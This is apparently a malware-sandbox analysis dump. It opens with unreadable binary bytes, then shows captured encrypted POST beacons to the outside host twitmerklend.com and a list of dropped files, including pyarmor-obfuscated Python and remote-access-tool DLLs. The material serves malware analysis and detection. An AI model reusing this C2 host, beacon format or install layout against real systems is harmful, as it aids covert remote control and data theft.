y\xf3\x0f~4\xbbl\x83\xe1\xc7\x01\xa9\xa5q\xf1\x1eo%\x9c\x08\xb4;\xbf\xb2K\xf7\xb7\xbd~Yp\x96BT\x9c\x15\r\xbc\xa9\xda\x9fKX\x91\xd3(\xae\x08u\x8c\x87\x82Jf\xca\xe6\xb3\xc1\xf65\x98\x0bVd\xd7y\xec)\xec\xf4UC\x86\xb9\xee\xac\xb5\xcf\x86\xe0mR\xc5\xcf)\xac\xe2\xe3G\xb0\x80\xaab$\xfdTO\xf0,C\xa9\xd6\x9c\x9c\xe0\x1c\x93\xf7H\xa7a\xd3\xce\x9fO\xd1lqo\xee\x1d\n\x8c\xa9\xaeQ\x07o\xe6gl!\xa5`B\x8e\xc1+o)\xb0e\xdb7\xa2\xdb;\x104\x1e\xe9wo\x19\xa8\x04\x9a\xbe\xb4\xcf\xf6\x91h\xf9\xebg\xb9~-i\xd7\xc2ya,\xd5\x17_a\x9d%\xbe\x08\x90v\xec\xd0\xd3u\x85\x1f\xc4 k\'\xf6\x06\xf9\xe9.\xdb\xc8H\x05_\x1c.\xad\r\xb7}\xf6\xb3fH\x1c\x08k\xd13-cg\x89\x8c3&\xdb%\x1f\xc5\x1d\xe0\x90\x0c\x98\x9b\x7f\xb5\xbcK\x0b\xa2T\xa4\xd3)f\x00\xc7\x04\'\x02\x17r\x1c~\x94\\1\x89\x92Ct\xa8\x97FR\\\xe9\x10e\x82\xfb\xc6\x13\xd9\xa5U\x05a\xf8\x1d\x06\xb4\xac\xd8\x87\xb2\xee\xe5\xac\xe4!\x02}|\'D\xe9\x00v\xb0\x0f\x80\x08;n\x1b\xbe-Tw\xbd\xe8\xb3\x1565e\x12^\xc8\x1d\x88\xb4\x90\x13\x9d\xdeK\x07o\xe6M-\'\x94\xc5\xcei\x7f\xe4\xb5\xc5.`\xca.yO\x19U\x8c3\xba.46\xdc\x9d\xaf\xa7\xb1g\x9b\x97.\x8a\xfc\x11\xe5O\xcf\xc5\x1d\x06\xaa\xf9\x9d2\xaa\x93\xab\xffp\x83\x91\x1d?P9\xbbi\x1ci&\xecO\xb1d\x9a\x8f\xc6\x86\x907\x02\x0b\xd1\xd8\x98]\n0\xd3\xc4\xc4\xeb\x86\xf2\xb7\xc2\xc7\xfb\x8c9\xc2\xdd@\xaaV\xe0\x9a7z\xf8, \x98\xb5\x1d#)\x83\xe4\xa2\xce\n\xcf]w\x0b\xd8\x94\xb1\x1f\xc3k\xe7\xf2\'\xd5\xe2\x06\xfe\x00\xe2\x95-4\xf2\xee\x86?\x03\\\x98l\x98e\x8b\xc1N\xea\x02\xfd\x16\xe0\x86\x10\x95\x18\xa6\x9e$>\xcfdq\xae\xee\xa5\rz\xdb7#_Q;\xb1u\xe3\xcb\x95Z\x95{\t\xdf\x89pm\xdaoX\xac\x8c\x9b\x99\x11]K:k\x04|-n\x94foj\xd7\xcf^\x19h6rX\xfa\xd7x^\xdc\x90\xba\xd1r\x86\xcb\xd8a\xae\xe9h8\xc3\t\xa8\x06Q\xc0\xbb|\x17o\x9dP\x90~\xc7\xa0r|\x99x<\xbd\xd5\xdbc&cS\xa2\x0f-\xcdF\xce\xf1\xd4Qg\xa6\xef\x97U9+w\\\x92s$\xdb\xd7\x94\x8c:9\x18\xear\xe0\x95\xdcY\xcf\xd2\xec-eRV1\x16\x88c\xefn\x8e\xae\xea\xf2\xe58L=\x8av\xaa\xbd\xcf\x07T\xca\x03\xa2[\xfe\xd7\xf4\x1b\x9d\xc9\x85e\xc5P\xfb\xf0\xbfQ\x8c\xb7\xa3so\xe3\xafU\xae<\xd2\xb9\xd9\x8c\xb2j]pL\x98V.\xa3\xf0o4x\xa7p\xca=\xd5\x8c\xc5\xa1\xa0\xb3\xb43\x1b\x83f0\xc3\xec\x90\x1dq\xc5*\x90G\xca\x18\x81)\xd6d\xca\xeb\x08\xfa\x10\xc8~d\xecZO\x81\xeb4\x90\xa3\xe8\xf3d\x08*\\\xb6A\x13\x83OY\xafO\x8f\xcd^)\xc7\r\xb8/\xc8W\xcd1P\x9d\x1e\xaf\xff\x8e\x90\xc2`\x89B\x02\x86\xd3%\xb4\xc0\xae\x8e\xad\xc4\xee\x18\xe67U\xe6\x86\xbb\x7f\x9a\x14xZc\xd0\x01\x02xR\xe3l\x84\xd9\xf1\xf3-3\xaf\xcc\xa1\x05\x87q1\xb7\x94\xc2\xe5d\xcb\xa0^\xefWmZ\xe7\xec\xdfea\x1c\xf8^\xc0\x00$e\xaae\xbaF\xcb\xaf\xbf0%\xd8(\x10\xc7\x14%^\xb4>\xc2\xc6\xc1\xdc\xbbH\x9e\xfa\xceNZ\xd0\x97\xc9\xd1\xfd\xc8\xae!\x1c\x03x\x12\xea\xa4\x1c\x99\xbd\x15q\x8a\xb3E(\x1f\xb6\xdf+?\xb8X\xf0\x87\xde\xd3\x08/\x011e\xcf{O\xa6\xb7L\xc5\xdf\x04\xc5\xab"\x82_~\x04\x95n\x07\xd0\xdd1\x91x\x16L\x1c\x14\xadZ\xeb9w\xa5\xff\xb9O\xa6\xf8;>9h\x94"\xe4\xa8l$\xec\\=\x98\xc1\tH\xdew\xdf\x91\xda\xf3\x8c_\xe1\x8c\x96\xe8\xfeu\x1f0bvvG\x96\xc7\x91j+1S\xfe4\xb6B\xce\x11l\x18\xe7\xf3\xff\xbd\x13\xb2/\x8c\xb0\xcd\x06W:?\xaf\x87/\x8a\x1c\xc3`x#\x08\x1e\x9doA\x94\x10Fs\xb7\xa7\xabFu\xe4\x9d\x8ew\xe6\xb2{!\xef\xd9\xc2\xe1;\xe5\xd9Ed,\x10\xc3\x81\x83\xfa8}\xcf\xd7 \x131iFD\xd4\xeb*\xfa\x89\xdb\xee\x9a/\x08\xd0\xc2!s\r\xcd\x1f\x8c\x12\x17\xa8P\xff"\xaf\xc63\x86\xe7s\x96$0\x016\x18\x1a.\xee\x9f\xd4\xaf\xc4c&\x95F\x7fU\xd3\x17x+}Pi7\xeem\x8d[\x91\xcd\x82\x0e\xc3!\x82(|\xa4\xdd\x84\xe8 \xc7\x1e\xf6\x02\x85\x8a\xa6\x8ag`\xcf\x1a\xa8t\xfc.\xcb]O\xb7$Wq\xfa\xd7 \xa2\xc5\xac\x88\xf8HN\x8ec\xb0\xb1(c\xd2\x00.\xcf\xa9\xe4\xcc\x7flo<\xe4I\xed8A\x0fz\xe4\x94\x18\xe2X(+~\xa0\x89\x9f\x93w]\xee\xcb\xa0\xab\x04n\x0f\r\xe73i\x02\xc4\xad\xac\x8e_q\xd4X\xec\xff\xe5-\xc6q\xa6\xb9\x9d\xd8\xa7u\x19\xb6\xb7m1\xb9ff\'\x8d\xd1\xbb\x08ls\xc9hPW\xd9\xc62!2u\t\x0fdK_\xcacg\xd93\x94\xbb\x81\xe6\xc7\x94\xb4\xd9r\x85\xe5:\xac&C\x8a\xd7@\xfdzQ\x80\xe4\xcf]\x18hD`\x8d\xc1\x13^\xc5?\x14\xe6\xd9sN\x1d\x89\xd3\x0c\xde?\xd0\xf8\x05\xb6G\xdf?\x99`\xcd\xa5\x8dp:8\x82\xb0AX@\x0f\x93\xeaw\x1e\x12\x8cF\x11\x8d\xc8\x80\xd3\xe5\xcc\x89\x12\x8b\x1e\xb2<.\r\x02zQ8\xce\xc5\xed\xad\xc3DQ)\xae;\xd9&E\xf4m\x97:n\x9f\t\x0fm\xff/\xef\xfa\xad7\x90\xdc\x10\xcb\xf0\xad+\x0eA?\xaa8\xcbQO\x9bu\xb2h\xb4\x86\x9e>\xed\xc8l\xc1Q\xb81\x04k^\x8d0\x85\xdfVs\xfc\xae\xc9\xe0\xb5\xb5\x81\x01f\xe7\xce \xfe\x9d\xfe\x7f]\xa9\xa1\xec\xf4\x85\xf6N~l\xd2`\xdbr+\x18\xb8l\x02\xa0\xe1l\x07\xe8\x91\xd9]\xd4F\x80\xb3$=\xf65\x96>>|\x02\x1a\xbf\xc8\x0c:\xf6\x92N\x0f\xa3\xe1p|J=\x8ajZ\x93\x02\x95\xac\xda.\x82\xea\x0c\x91\xa2\x9cq\xf8\xc2\xa9\xfa\xab\x91"U@t\xc5~\xc6\n*\xf4\xc0\xac\x0c\xa7\xfb\xcb\x85\x1e\xadL\xcb\xfd\xb4\xcd<9h\xfb\xde\x08\xbc\xf1?\x0b\xfd\xc0\xab\xd2\x9cNo\x8a2\x01\xed=v\xee\x05A\xf3\x81\xf5\xd6\x19\xac\xd5\xa4\x06NpE\x01C==:\x16\xcd\xbf\xc3,\xdb\x02\xf1\xb2\xca\x15\x1c\xb3\x83]\xbe\xd1G\x93\xc2Q\xa7\xc3 zl\xd2`\\V\x86\xc7\xec\x93Tu;\x1bgG\xea\x86(K\x81\x97\x0c\xc1vAv\x03m\xb3\xa2Z\x04c\xee\xab?\x96\x915\x02\xedj\x97A~qv5\xc7\xb0\xf8\x0b%\x147W7\xda\xc2c-h\xa3\x8a\xee\xa54\x8ax&\xee\xb0\xb6\xe5AV\xbd-\n\x08\xfb\xa9\x1a\xcf\xf7\xee\xbd\x15\xd4\xceK\x97\x8beB\x91\xaf~\x99WBT7!\r\x9e\xf9\xb6\xb0\xfbE\xf1Z\xf73\x9c\x8b\x01\xaf1\x8a\xa5\xac\xb2\xba\xc0\\\x90\x99\x16K\xf7\x94E\xee\xec\xffC\xd9\x8a\xfe\xdf\xd4\xb97=lK\xc9Cj\xeb\xa5\xf9\x87u\'\x80\x81\xa4\xbf-\x1a\xb4\xcfP\xe8\xe3\xd1Zu\x04v\xea\xbd\xb8\xc1\xf2A\x1a[9\x15\x82\xe4\xda\xe6K\x85\x05\x84\x85\xe4\xb5-Q\x99\xc0;3\xdf\xe1Y\xad\xb5c\xee\x01\xfbY\x87\xd6!\xec\xd9\x17\xd05\x0ew\xd4ne\xa8G3\xb8\xe1C\xd1Eob\xb0\xf2\x7f\x96\xfc\xa6E*\xd4\x86`d\x8a\xb9EPlk\xc0\xfc\xde\x9d\xc8\x81\xd7c\xf2\xaeU\x11\xd5+\n\xaf+\xce]\x12rd\x95U\x13\nm\xc2\xe01\x88R\x1c\x0b\xeb\x18\xf4\x14^\xdaa\xf5\x97\xd3ms`C,\x0b9iOE\xd9(m\xed[\x9c\x89\x97L\x86hE\xb5\x87\xe2O\xbc\x14\x177 \x91\xec\xcc\xd4\x92q\xa0\x9c\x9d\x1f\x9f\x7f-\xa1O\x80\xf2\xf6\x92\x98E\xd0*\x07\xa7a\x91\xb6\xdfR\xc9@\x87\x9bU\xbf3U\xbb\x03\x151\x0c\x99f\xf1\xdb\x1f\xc6U\xa07,\x958Np\xd3\x8aRFe\xd9\x9e\xf1\'\xbaU\x9fm$\x9c\xe0\xbeI\xfc%\xd4\xe6!P8.\x16\xb6\xaaM\rZ<\xa6@@q\xf8\xe9>,\xe4q2\xae\xe0WI\xca\x00a]\xab\xcb\xc7"s\xc2A\x97\xdeU\x01p\xbfz\xe7\xf6\xf8\xbf\xd5\xbe\x9cX\x03\xd9\xd0\r\xb1\xfc\xed\x05\xc9n+\xf8F\x15\xec\xdfk^\'\x13\xd3\x13\x8aMS-\xc3\xda\x86\xc8\x8d\xfaQ\xdbjd\x06-\x1a\xf8U\xfb\x7f\x93u\xc4N\xdd\xc2\x9e\x14\x06\x13\xe7\xd5\xaf\xb8H\xb1\x93\x0c\x01\x98)\x05\xd4\x0eX\xf1\x11\xe2\xa2\xb7\x8blnz\xc3\xc7\xb3\xad\xc8\xa5\x1f\x86\xccT\x87\xf3\xc8\x95\xe3\x0fZ\xba\xc3(\xac\xbf\xec7\xd3\xf0\x96\x08\xac8\x91\xb8\xf4\xa9\x8f\xd94\xaal\xca6\x11a\xd9\xb0KZ+\xd1\xc4aIx+\xd8\xd7\xde\x98Y\xa5\xed\xe5\xbe\xf9\x1eX\xdd\x17n\x1fMa\xad3\xcb\xc7\xb5OcC\x9d\x0f\x97\x8f3b\r\x92O\xc6\xd6M\x99&P\xc7\xd8\xe7K\xa3\xf4\xa78\xe2\xf9O!yO\x1e\x16\x8a\xff\x9f\'}\xb6\xef&\x8eFG\xfb0.\x17u\x13\xd9\xe1\xf8\xcfd\xf0\x0c\xbdhCX\x8e\xdc\xe6Z\xb3y\xd1\xd1\xd5\xb0\x80\xed\xd2\xf0T\x10\x1cU\xa7\xa4\x83\xc9\xb8\xa8\x7f\x18q\x02\xb9@D\x13\x7f\xd1\xe1\xe2\xdcL\xfe\xe36\xca6\x0c\x90D\x97\xe4!W\xce\x05@\x87t>\xf9\xda\x06\xa8\x8a\xd8\x1c\xd0G\x9a?\xda\x7f\x9c\x90\xe43\xces\x89@|e\xb5\x04F\xba\xbc\xc3LI\x8a\xfbZ\xf5@O\x88@O>\n\xd8\x8d\xaa\x1f\x03\xba[2Zc\x16\r\xb7\xeed\xd2N+4\x8a\xbc\xf7\x9f\xac\x04\xc8\x8c\xb8\x13\xc6\x04j\xb6+hmU\xef\x9a\xdf7\xa4\x0c\x947\xdbaf\x84\n\xa7*\x107\xd0\xde?-\xcb\xc9\xb3\xd3\xe9\xae\x0ek\xd5\xc52\x01\x99C\x8d\xecb\x80#\x1e\xf6\x91\x1b\x1fo\x99j\xa8\x07j\xcd\xa4W\xe4\xcd~\x03\x89\x8e\xc5\x9f/\x9b\x1d\xbc\x8bm.o5f|\x8c\x0e{\x1b\xf7\xe9c8\xd9=7:\x07\xf7\x08\x1f\xb3\x14@\xdc]\xea>x\x8a@}D|3\xe7i\x16=\x14\x11\xfb\xaf\xd5.|\xab4\x1f\xe5\xa5N\t\x9a\x8f\xebg\x8cJMQq\xc2\xa7\xa6\x88\x02\xd4\xcf$\xb1"T\x7fwRi\xdcgy\xd2\xfd\xfa\xc4\xf1\x93\xb2\xaa\x02?\xe97\xce\xbe\x1b\\\xeb5 \x9f\xfb\x96\xd7\x82\xc2\x0ew\x87\x19\xad@\xeat\x03\xf5\x9a\\(\xe2\x03\x02\xec\xac{vPJ\xcc\xe8z7C\xa3\xb7\xa5\xeb02=h\x03\x15l y@\x83\x9cQ\xd1\x0c9l\xc6\xbf\xcb\x9e\x12=G\xf6\xc1\x83\xbc\xd8\xfe\x95\t\xac\x07y\xdck\x89\x8ef\x8b\xc1#\xe0\x88\xe5AA\x01\xa0\xf9O\x89\x17#\xd3@|\xf0\xaf\xd7\xbc\xa9\xb3\xe7\x9aq\x9a\xaa\x15\xca\xcd7r\xc4\x8f\x1e\xbe\xb7\xc9\xc5A\x17\xab\x9f\xf8\xb6\x01\x86\xb47]\x05dP\x87\x86\x1eH\x8e\xc3c\xc9B\x0e8\xd0\xa1\xf7P\xcc$~\xe0p5\xd0\xb0H~}19\xdaq\xfb1,ZQ\x1aK\xcb\xd6\xf8G\xe6\xdd\xb7\xc8\xca\x8d^\x9a\x9d1\x01\x8d\x83\x13\xbb\xb8\xb6\x15_\xe6\xe037K\xe8\xa1\x96.eaQ\xd8c\xf3\x92\xe7aO\xb4\xc0\xfb\x1e\xe9\x1ae\x91\xca7P\x9b8m\x08X\xfeM;6\x0c\xb2\xbd\xf7B\x1a\x8f\xc3\xddQ\xfe\xf4\xc04P\x7f7\x1f\x9b\x9f\xad\xd8\xf0w\x8fxh\xd2\x05f\x90v\xfa\x1a\x84\xc0\x85\x1a\xc1\xf3\x15\xda7\x1ah\xe7\xdfW\xea~\x17\xb5\xa5\x05:\x8c7\xd6\xd7\xc7\xaa\xd4\xbe\xffs\xe4\xb7^\xd2l\xa4\xff\xbau\xb2WW[\xfe\x1fls:\xd5[H\x070\'\xa9\xd8\xe8U\x1d>\xed\xc0\xd65\xdc|#H\xf1v\xa4N\xb9WU\x92\x89h\x06t\x9a\xa3\xc3<\xb0\x81\x8a\xe9\xce\xd6\xc4.\t^\xddx^n\xf6#\x90Ap\xb0\xc9Y1\xac\x9b\x0b\x86\xfd\x8f\xf3\x84\xed\x18\x0b\xe38?\xd03\xf6\x86l81O\xd8\xe8\x00\x97\xe3\x96N\xe1\x05z\xc8\x03w`vbYIg\r4\xb1\xdf\xa1\xd0\xd8\xef\xb8\x13\xee-Ih<\xaf\xd6Z\x7f?\xff\x19^\xcdd\x9di\xe0\xd7p\xe1\x95+\x1e\r\xc3[.\x84\x15\xba\xcf\t\x99\xb8\t\xb7\xd1:i}N\xebH\xdds\xab\x068\xfb\x94\x18\x18\r&\xb0\xb7\xfbk\xf2\xbd\x8c\xb1P\xe2\x18C\x04\xa63\x99.\x80+\xb6\xb1v\xfe:\x9c\xea+\xc9\x8a'"7b:T145a,"POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7s User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT Content-Length: 1006 Host: twitmerklend.com" with payload::==> "------HttpClientPK7Iz6JoNiPmVI7sContent-Disposition: form-data; name="data"X7LpMxjE180APgJJl40ettpN2bnayUnrrkZaNUjO5+adcweFcPPno1PfYvD29+iAOi41kkLm5i+SMWlQERvLizLeqDZ4tYF0oRkuDAR5WVRbYZuWOI6bd+d5d5b7BSliNbU3DHsnbW92mACrbOyysbe4nDm+BarHmqXCHXSQNrlk7qBw+zREHDl8tYPpOm2l5rwsLZEy/0sMK7mtPenYaE2R+jxsJ4oz+gQ0/aevOVuMrr/+2Hl6OkjDkdnyAXVn0TPRGf8YXrLQqDNm/M1Tw4vPcVaR9PvA11pmf7p0Fwu4UC+jpHDeZW0g14NqPlNojSxo9U+/7NRWxKm/1X4RTVN/0/c3VQC04ggEz3hcsd9wv1CehSP6IarMEdCcSYkg4jtGKGpDvFtSB0M161BHgSVVzm2GG4uvKy9snl3mJN0/7RjccsRHYssnZZkV8ZyROQXj81VsyZr1lGreetC1mCIqGwu5U+1nwh2Uv9iv7mw4UEqYi7vH/UT4AMo05Z1QM/PAA6BhzhISHD+Z2/R05zAwZRuhvMb7NRpa+uH6+L21mKN5gw+mna5IWuIBEzN5WFNgBwtx3E8Kjjo1UCzEGOBFS0h/PYPk8YmRVLjtdByuOXBistn6OBJ5nNonuZ4se/lnHWc4JQAyhTewzjUvMDUmFMv+viUGecI7aifjFUK6wRPHSRXPb7RL73wjAt7eGAFwUkKXGWxkCANRb5sZcCk2hPhtL5ZBqWIBrD1yVfnMQ6eW1gW9gmx8/UKI64Rp3CY0REointjMlc5pD6kk1vBrObezmAETiRw+LAugB40S+xfqfqm2QopCCimDqY2H8n/RP+J9AZaOi9wDDkuhbQboU2loNFuROWGnt6B6zt7zyPdQDw==------HttpClientPK7Iz6JoNiPmVI7s--" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2808 Connection: keep-alive Access-Control-Allow-Origin: * ETag: W/"af8-aynjCvzkgEtiqBV1Klp+7HKNFb0" with response body ==>58374C704D786A453138304150674C6C6E59306574735A4E7A4C6E4179567272726B59374E54764F332B61546378614656764F6A6F7A4C665A50445839367941....... "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----HttpClientfQJkjUXORAbcTu9G User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT Content-Length: 742 Host: twitmerklend.com" with payload::==> "------HttpClientfQJkjUXORAbcTu9GContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwqJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==------HttpClientfQJkjUXORAbcTu9G--" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:43 GMT Transfer-Encoding: chunked Connection: keep-alive Access-Control-Allow-Origin: * with no response body "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5E User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT Content-Length: 742 Host: twitmerklend.com" with payload::==> "------HttpClientl0ty56B4pw3WvS5EContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwBJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==------HttpClientl0ty56B4pw3WvS5E--" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:49 GMT Transfer-Encoding: chunked Connection: keep-alive Access-Control-Allow-Origin: * with no response body "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDU User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT Content-Length: 642 Host: twitmerklend.com" with payload::==> "------HttpClient7eJMDmlo1sXKNEDUContent-Disposition: form-data; name="data"X7LpMxjE180APgK5lI0ettpN2bnayUnrrkZgNUjO8+adcx2FS/PMo1TfePDz9/KAQjpd8yeFgkzNVBojZWiq1Ea13VMLzIpQoXguGgRQWQZbdZujOJSbTOdtd4z7fik3NYc3PnsmbXl2sgCMbNqy87e/nCK+GqrhmonCIFLhVdUFjM0WiwcleFAs0smHWzLxj7dcLZky8EsbK7itMunfaE2R1zxNJ+4zrAQG/fWvS1uNrr7+3XksOiPDsdmEAQBn0TPPGfMYU7LVqERml80Hw4jPVlax9OLA11oVf5l0TQu5UC+j8XD/ZWog3INOPgxotjhbmH7e2LdirJ3W4xAoKGEg4p50MTXQ1QhG+U4egeh7rFDKhXf6Cqr/EfKcY4l34mZGTmoSvAlSJ0Md6xFH3iVxzkGGSovqKyRs213sJNk/vxjdcrBHZcsnZbsV5ZzCOQPj9FVoyYP1lWrdetq1mCI2Gym5U+01wjqUpNio7lciNij6/oyuyyicZKlr0etpVpayZdM=------HttpClient7eJMDmlo1sXKNEDU--" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:49 GMT Transfer-Encoding: chunked Connection: keep-alive Access-Control-Allow-Origin: * with no response body7c:T1c0b,"python313.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python313.dll]- [targetUID: 00000000-00002512] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libcrypto-3.dll]- [targetUID: 00000000-00002512] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\sqlite3.dll]- [targetUID: 00000000-00002512] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libssl-3.dll]- [targetUID: 00000000-00002512] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140.dll]- [targetUID: 00000000-00002512] "msedgewebview.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\test2\msedgewebview.exe]- [targetUID: 00000000-00002512] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python.exe]- [targetUID: 00000000-00002512] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pythonw.exe]- [targetUID: 00000000-00002512] "remcmdstub.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%TEMP%\test2\remcmdstub.exe]- [targetUID: 00000000-00002512] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python3.dll]- [targetUID: 00000000-00002512] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140_1.dll]- [targetUID: 00000000-00002512] "pcicapi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\pcicapi.dll]- [targetUID: 00000000-00002512] "PCICL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%TEMP%\test2\PCICL32.DLL]- [targetUID: 00000000-00002512] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\unicodedata.pyd]- [targetUID: 00000000-00002512] "pyarmor_runtime.pyd" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd]- [targetUID: 00000000-00002512] "TCCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\TCCTL32.DLL]- [targetUID: 00000000-00002512] "HTCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\HTCTL32.DLL]- [targetUID: 00000000-00002512] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_decimal.pyd]- [targetUID: 00000000-00002512] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyexpat.pyd]- [targetUID: 00000000-00002512] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_ssl.pyd]- [targetUID: 00000000-00002512] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_lzma.pyd]- [targetUID: 00000000-00002512] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_elementtree.pyd]- [targetUID: 00000000-00002512] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_ctypes.pyd]- [targetUID: 00000000-00002512] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_sqlite3.pyd]- [targetUID: 00000000-00002512] "main.py" has type "Python script ASCII text executable with very long lines (65414) with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\main.py]- [targetUID: 00000000-00002512] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_bz2.pyd]- [targetUID: 00000000-00002512] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_socket.pyd]- [targetUID: 00000000-00002512] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- 